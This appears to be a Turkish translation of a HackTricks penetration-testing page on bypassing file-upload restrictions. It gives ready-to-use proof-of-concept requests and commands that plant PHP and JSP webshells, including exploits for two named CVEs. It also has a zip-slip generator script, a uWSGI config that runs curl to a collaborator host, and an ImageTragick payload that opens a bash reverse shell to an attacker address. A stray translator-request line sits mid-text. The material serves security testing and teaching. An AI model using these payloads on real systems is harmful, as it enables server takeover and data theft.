Dosya Yükleme

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Dosya Yükleme Genel Metodolojisi

Diğer faydalı uzantılar:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8’de çalışırken: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Dosya uzantısı kontrollerini atlatma

  1. Uygulanıyorsa, önceki uzantıları kontrol edin. Ayrıca bunları bazı büyük harflerle test edin: pHp, .pHP5, .PhAr …
  2. Çalıştırma uzantısından önce geçerli bir uzantı eklemeyi kontrol edin (önceki uzantıları da kullanın):
  • file.png.php
  • file.png.Php5
  1. Sonuna özel karakterler eklemeyi deneyin. Tüm ASCII ve Unicode karakterlerini bruteforce etmek için Burp kullanabilirsiniz. (Not: önceden belirtilen uzantıları de kullanmayı deneyebilirsiniz)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Sunucu tarafındaki uzantı parser’ını kandırarak korumaları atlatmayı deneyin; bunun için doubling the extension veya uzantılar arasında junk veri (null bytes) eklemek gibi teknikleri kullanabilirsiniz. Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Önceki kontrole başka bir uzantı katmanı ekleyin:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Çalıştırma uzantısını geçerli uzantıdan önce koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmaları gibi durumları kullanmak için yararlıdır; bazı konfigürasyonlarda .php uzantısını içeren, fakat mutlaka .php ile bitmeyen dosyalar da kodu çalıştırabilir):
  • ex: file.php.png
  1. Windows üzerinde NTFS alternate data stream (ADS) kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce iki nokta üst üste “:” karakteri eklenecektir. Sonuç olarak, sunucuda yasaklı uzantıya sahip boş bir dosya oluşturulabilir (ör. “file.asax:.jpg”). Bu dosya daha sonra short filename gibi diğer tekniklerle düzenlenebilir. “::$data” paterni ayrıca dolu dosyalar oluşturmak için kullanılabilir. Bu yüzden bu paternden sonra bir nokta karakteri eklemek ek kısıtlamaları atlatmak için faydalı olabilir (ör. “file.asp::$data.”)
  2. Dosya adı limitlerini kırmayı deneyin. Geçerli uzantı kesilir. Kötü amaçlı PHP geride kalır. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Bazı upload handler’lar kaydedilen dosya adının sonundaki nokta karakterlerini kırpar veya normalize eder. UniSharp’in Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 öncesi sürümlerinde, uzantı doğrulamasını şu şekilde atlayabilirsiniz:

  • Geçerli bir image MIME ve magic header kullanarak (ör. PNG’nin \x89PNG\r\n\x1a\n).
  • Yüklenen dosyayı PHP uzantısı takip eden bir nokta ile adlandırarak, örn. shell.php..
  • Sunucu son nokta karakterini kaldırır ve shell.php olarak kaydeder; eğer web tarafından servis edilen bir dizine (varsayılan public storage gibi /storage/files/) yerleştirilirse çalıştırılacaktır.

Minimal PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Sonra kaydedilen path’e erişin (Laravel + LFM’de tipik):

GET /storage/files/0xdf.php?cmd=id

Bypass Content-Type, Magic Number, Compression & Resizing

  • Content-Type kontrollerini atlatmak için Content-Type header’ının value değerini şu şekilde ayarlayın: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • magic number kontrolünü atlatmak için dosyanın başına gerçek bir resmin bytes’larını ekleyin (ve file komutunu yanıltın). Veya shell’i metadata içine yerleştirin:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ya da payload’u doğrudan bir resme de ekleyebilirsiniz:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Eğer image’ınıza sıkıştırma uygulanıyorsa, örneğin PHP-GD gibi standart PHP kütüphaneleri kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, PLTE chunk technique defined here kullanarak sıkıştırmayı atlatacak metin ekleyebilirsiniz.
  • Github with the code
  • Web sayfası ayrıca resmi resizing yapıyor olabilir; örneğin PHP-GD fonksiyonları imagecopyresized veya imagecopyresampled kullanılıyor olabilir. Ancak IDAT chunk technique defined here kullanarak sıkıştırmayı atlatacak metin ekleyebilirsiniz.
  • Github with the code
  • Bir diğer teknik, PHP-GD fonksiyonu thumbnailImage kullanıldığında image resizing’ten kurtulabilen bir payload oluşturmaktır. Ayrıca tEXt chunk technique defined here kullanarak sıkıştırmayı atlatacak metin ekleyebilirsiniz.
  • Github with the code

Other Tricks to check

  • Zaten yüklenmiş dosyanın adını rename edebileceğiniz bir zafiyet bulun (uzantısını değiştirmek için).
  • Backdoor’u çalıştırmak için bir Local File Inclusion zafiyeti bulun.
  • Olası Bilgi sızdırma:
  1. Aynı dosyayı birden fazla kez (ve aynı anda) aynı isimle yükleyin
  2. Zaten var olan bir dosya veya klasör adını kullanarak dosya yükleyin
  3. Dosya ismi olarak “.” , “..”, veya “…” kullanarak yükleme yapın. Örneğin, Apache üzerinde Windows’ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydediyorsa, “.” dosya adı “/www/” dizininde “uploads” adlı bir dosya oluşturacaktır.
  4. NTFS üzerinde kolay silinemeyen bir dosya yükleyin, örneğin “…:.jpg”. (Windows)
  5. Windows üzerinde dosya adına |<>*?” gibi geçersiz karakterler ile yükleme yapın. (Windows)
  6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9 gibi rezerved (yasaklanmış) isimler kullanarak Windows üzerinde dosya yüklemeyi deneyin.
  • Ayrıca, kazara kurban tarafından açıldığında kod çalıştıracak bir executable (.exe) veya daha az şüpheli olan bir .html yüklemeyi de deneyin.

Special extension tricks

Eğer dosyaları bir PHP server’a yüklemeye çalışıyorsanız, take a look at the .htaccess trick to execute code.
Eğer dosyaları bir ASP server’a yüklemeye çalışıyorsanız, take a look at the .config trick to execute code.

.phar dosyaları Java için .jar gibidir, ancak php içindir ve php dosyası gibi kullanılabilir (php ile çalıştırılabilir veya bir script içinde include edilebilir…)

.inc uzantısı bazen sadece import için kullanılan php dosyaları için kullanılır, bu yüzden bir noktada bu uzantının çalıştırılmasına izin verilmiş olabilir.

Jetty RCE

Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, RCE çünkü **new .xml and .war are automatically processed** elde edebilirsiniz.** Yani, aşağıdaki resimde belirtildiği gibi, XML dosyasını $JETTY_BASE/webapps/’e yükleyin ve shell bekleyin!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Bu zafiyetin detaylı incelemesi için orijinal araştırmaya bakın: uWSGI RCE Exploitation.

Remote Command Execution (RCE) zafiyetleri, .ini konfigürasyon dosyasını değiştirebilme imkânı varsa uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, “magic” değişkenleri, placeholder’ları ve operatörleri içeren spesifik bir sözdizimi kullanır. Özellikle, @(filename) şeklinde kullanılan ‘@’ operatörü bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında “exec” şeması özellikle güçlüdür; bir prosesin standart çıktısından veri okumaya izin verir. Bu özellik, .ini konfigürasyon dosyası işlendiğinde Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı kullanımlara yol açabilir.

Aşağıda çeşitli şemaları gösteren zararlı bir uwsgi.ini dosyasına örnek verilmiştir:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Payload’un yürütülmesi yapılandırma dosyasının parse edilmesi sırasında gerçekleşir. Yapılandırmanın etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (potansiyel olarak bir crash sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın auto-reload olarak ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.

uWSGI’nin yapılandırma dosyası parse etme işleminin gevşek doğasını anlamak önemlidir. Özellikle, bahsi geçen payload bir ikili dosyanın (ör. bir resim veya PDF) içine yerleştirilebilir ve istismarın kapsamını genişletir.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Gibbon LMS’deki unauthenticated endpoint, web root içinde arbitrary file write yapılmasına izin verir; bu, bir PHP dosyası bırakarak pre-auth RCE’ye yol açar. Vulnerable versions: up to and including 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (server ignores type/name, base64-decodes the tail)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Bir dosya yazıp geri okumak için minimal PoC:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Minimal bir webshell bırakın ve komutları çalıştırın:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notlar:

  • İşleyici ; ve , ile bölme sonrasında base64_decode($_POST["img"]) uygular, ardından uzantı/tipi doğrulamadan byte’ları $absolutePath . '/' . $_POST['path'] içine yazar.
  • Ortaya çıkan kod web servis kullanıcısı olarak çalışır (ör. XAMPP Apache on Windows).

Bu hatayla ilgili referanslar arasında usd HeroLab advisory ve NVD girişi bulunur. Aşağıdaki Referanslar bölümüne bakın.

wget File Upload/SSRF Trick

Bazı durumlarda bir sunucunun wget kullanarak dosyaları indirdiğini ve URL’yi belirtebileceğinizi görebilirsiniz. Bu durumlarda kod, indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini garanti etmek için beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, bu kontrol atlatılabilir.\

The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called “A”*232+“.php”+“.gif”, this filename will bypass the check (as in this example “.gif” is a valid extension) but wget will rename the file to “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that diğer bir seçenek olarak aklınıza gelebilecek şey, HTTP server’ın farklı bir dosyaya redirect yapmasıdır; böylece başlangıçtaki URL kontrolü atlatır, ancak wget yönlendirilen dosyayı yeni adıyla indirir. Bu çalışmaz medikçe wget --trust-server-names parametresi ile kullanılmıyorsa, çünkü wget yönlendirilen sayfayı orijinal URL’de belirtilen dosya adıyla indirir.

NTFS junctions kullanarak upload dizininden kaçış (Windows)

(Bu saldırı için Windows makinesine local erişim gerekir) Windows’ta yüklemeler kullanıcı başına alt klasörlerde saklanıyorsa (ör. C:\Windows\Tasks\Uploads<id>) ve bu alt klasörün oluşturulmasını/silinmesini siz kontrol ediyorsanız, bu klasörü hassas bir konuma işaret eden bir directory junction ile değiştirebilirsiniz (ör. webroot). Sonraki yüklemeler hedef yola yazılacak ve hedef sunucu‑tarafı kodu yorumluyorsa kod yürütülmesine olanak sağlayacaktır.

Örnek akış — XAMPP webroot içine yüklemeleri yönlendirmek için:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Notlar

  • mklink /J creates an NTFS directory junction (reparse point). Web sunucusunun hesabı junction’ı takip etmeli ve hedefte yazma iznine sahip olmalıdır.
  • Bu, rastgele dosya yazmalarını yönlendirir; eğer hedef script çalıştırıyorsa (PHP/ASP), bu RCE’ye dönüşür.
  • Savunmalar: yazılabilir upload kök dizinlerinin C:\Windows\Tasks veya benzeri altında saldırgan tarafından kontrol edilebilir olmasına izin vermeyin; junction oluşturulmasını engelleyin; uzantıları sunucu tarafında doğrulayın; yüklemeleri ayrı bir volume’de veya deny‑execute ACL’lerle saklayın.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Bazı upload/ingest handler’ları, ham request body’yi kullanıcı kontrollü query parametrelerinden oluşturulan bir filesystem yoluna yazar. Eğer handler Content-Encoding: gzip’i destekliyor ve destination path’i canonicalize/doğrulamıyorsa, directory traversal ile gzipped payload’u birleştirerek web tarafından sunulan bir dizine rastgele baytlar yazabilir ve RCE elde edebilirsiniz (ör. Tomcat’in webapps dizinine bir JSP bırakmak).

Generic exploitation flow:

  • Prepare your server-side payload (e.g., minimal JSP webshell) and gzip-compress the bytes.
  • Send a POST where a path parameter (e.g., token) contains traversal escaping the intended folder, and file indicates the filename to persist. Set Content-Type: application/octet-stream and Content-Encoding: gzip; the body is the compressed payload.
  • Browse to the written file to trigger execution.

Illustrative request:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Çevirmemi istediğiniz README.md içeriğini gönderin lütfen.

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notlar

  • Hedef yollar kurulumlara göre değişir (örn. /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ bazı stack’lerde). JSP çalıştıran herhangi bir web-açık klasör işe yarar.
  • Burp Suite’s Hackvertor extension, payload’unuzdan doğru bir gzip body üretebilir.
  • Bu saf bir pre-auth arbitrary file write → RCE deseni; multipart parsing’e dayanmaz.

Mitigations

  • Yükleme hedeflerini server-side türetin; istemcilerden gelen yol parçalarına asla güvenmeyin.
  • Çözülmüş yolun izin verilen (allow-listed) temel dizin içinde kalmasını canonicalize edin ve zorunlu kılın.
  • Yüklemeleri non-executable bir volume’de saklayın ve writable path’lerden script çalıştırılmasını engelleyin.

Tools

  • Upload Bypass güçlü bir araçtır; Pentesters and Bug Hunters’ın file upload mekanizmalarını test etmesine yardımcı olmak için tasarlanmıştır. Çeşitli bug bounty techniques’lerini kullanarak, web uygulamalarındaki zaafları tespit etmeyi ve exploit etmeyi kolaylaştırır, böylece kapsamlı değerlendirmeler yapmanızı sağlar.

Corrupting upload indices with snprintf quirks (historical)

Bazı legacy upload handler’lar, tek dosya yüklemesinden çoklu dosya dizileri oluşturmak için snprintf() veya benzerini kullanıyorsa, _FILES yapısını sahte şekilde oluşturmak için kandırılabilir. snprintf() davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir yükleme sunucu tarafında birden fazla indekslenmiş dosya gibi görünebilir; bu da katı bir şekil varsayan mantığı (örn. bunu çoklu dosya upload’u gibi ele alıp güvensiz dallara gitme) karıştırır. Günümüzde niş olsa da, bu “index corruption” paterni ara sıra CTF’lerde ve eski kod tabanlarında yeniden ortaya çıkar.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Farklı klasörlere açma

Sıkıştırılmış arşivlerin açılması sırasında dizinlerde beklenmeyen dosyaların oluşturulması ciddi bir sorundur. Zararlı dosya yüklemeleri yoluyla OS-level command execution’a karşı bu düzenlemenin koruma sağlayacağı yönündeki ilk varsayımlara rağmen, hiyerarşik sıkıştırma desteği ve ZIP arşiv formatının directory traversal yetenekleri istismar edilebilir. Bu, saldırganların hedef uygulamanın sıkıştırma açma işlevini manipüle ederek kısıtlamaları aşmalarına ve güvenli yükleme dizinlerinden kaçmalarına olanak tanır.

Böyle dosyaları oluşturmak için otomatik bir exploit evilarc on GitHub adresinde mevcuttur. Araç şu şekilde kullanılabilir:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Ek olarak, symlink trick with evilarc bir seçenektir. Hedef /flag.txt gibi bir dosya ise, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc’ın çalışması sırasında hatalarla karşılaşmamasını sağlar.

Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python koduna bir örnek bulunmaktadır:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Sıkıştırmayı kötüye kullanarak file spraying

For further details check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: PHP kodu, $_REQUEST değişkeniyle geçirilen komutları çalıştıracak şekilde yazılır.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizinler arasında gezinmek için “xxA” ifadesi “../” ile değiştirilir.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Bir backend ZIP girdilerini PHP’nin ZipArchive’ını kullanarak doğrularken, çıkarma işlemi dosya sistemine ham isimlerle yazıyorsa, dosya adı alanlarına bir NUL (0x00) ekleyerek izin verilmeyen bir uzantıyı gizlice sokabilirsiniz. ZipArchive girdi adını bir C‑string olarak ele alır ve ilk NUL’de keser; dosya sistemi ise NUL’den sonraki kısmı atarak tam ismi yazar.

High-level flow:

  • Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF.
  • Name it like shell.php..pdf, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first . after .php with 0x00, resulting in shell.php\x00.pdf.
  • Validators that rely on ZipArchive will “see” shell.php .pdf and allow it; the extractor writes shell.php to disk, leading to RCE if the upload folder is executable.

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Notlar

  • HER İKİ dosya adı örneğini değiştirin (local ve central directory). Bazı araçlar ekstra bir data descriptor girdisi de ekleyebilir – mevcutsa tüm name alanlarını düzeltin.
  • Payload dosyası yine de sunucu tarafı magic/MIME sniffing kontrolünden geçmelidir. PHP’yi bir PDF akışına gömmek başlığı geçerli tutar.
  • Enum/validation yolu ile extraction/write yolunun string işleme konusunda uyuşmadığı durumlarda işe yarar.

Üst üste/peş peşe eklenmiş ZIP’ler (parser disagreement)

İki geçerli ZIP dosyasını birleştirmek, farklı parser’ların farklı EOCD kayıtlarına odaklandığı bir blob üretir. Birçok araç son End Of Central Directory (EOCD) kaydını bulurken, bazı kütüphaneler (ör. belirli iş akışlarında ZipArchive) buldukları ilk arşivi parse edebilir. Eğer doğrulama ilk arşivi listeliyor ve extraction başka bir araç tarafından yapılıp o araç son EOCD’yi dikkate alıyorsa, zararsız bir arşiv kontrolleri geçebilirken zararlı olanı çıkarılabilir.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Kötüye kullanım deseni

  • İzin verilen bir türde (ör. bir PDF) bir zararsız arşiv oluşturun ve engellenmiş bir uzantı (ör. shell.php) içeren ikinci bir arşiv oluşturun.
  • Bunları birleştirin: cat benign.zip evil.zip > combined.zip.
  • Sunucu doğrulamayı bir parser ile yapıp (benign.zip olarak görür) ancak çıkarma işlemini başka bir parser ile gerçekleştirirse (evil.zip olarak işler), engellenmiş dosya çıkarma yoluna düşer.

ImageTragic

Bu içeriği bir görsel uzantısıyla yükleyerek güvenlik açığından faydalanın (ImageMagick , 7.0.1-1) (kaynak: exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG İçine PHP Shell Gömme

Bir PNG dosyasının IDAT chunk’ına bir PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili şekilde atlatabilir. PHP-GD’den imagecopyresized ve imagecopyresampled fonksiyonları bu bağlamda özellikle önemlidir; zira sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılırlar. Gömülü PHP shell’in bu işlemlerden etkilenmeden kalabilme yeteneği, bazı kullanım senaryoları için önemli bir avantajdır.

Bu tekniğin yöntemleri ve potansiyel uygulamalarını detaylı şekilde inceleyen makale: “Encoding Web Shells in PNG IDAT chunks”. Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sunar.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Dosyalar

Polyglot dosyalar siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde var olabilen bukalemona benzerler. İlginç bir örnek GIFAR, hem GIF hem de RAR arşivi olarak işlev gören bir hibrittir. Bu tür dosyalar bu eşleme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.

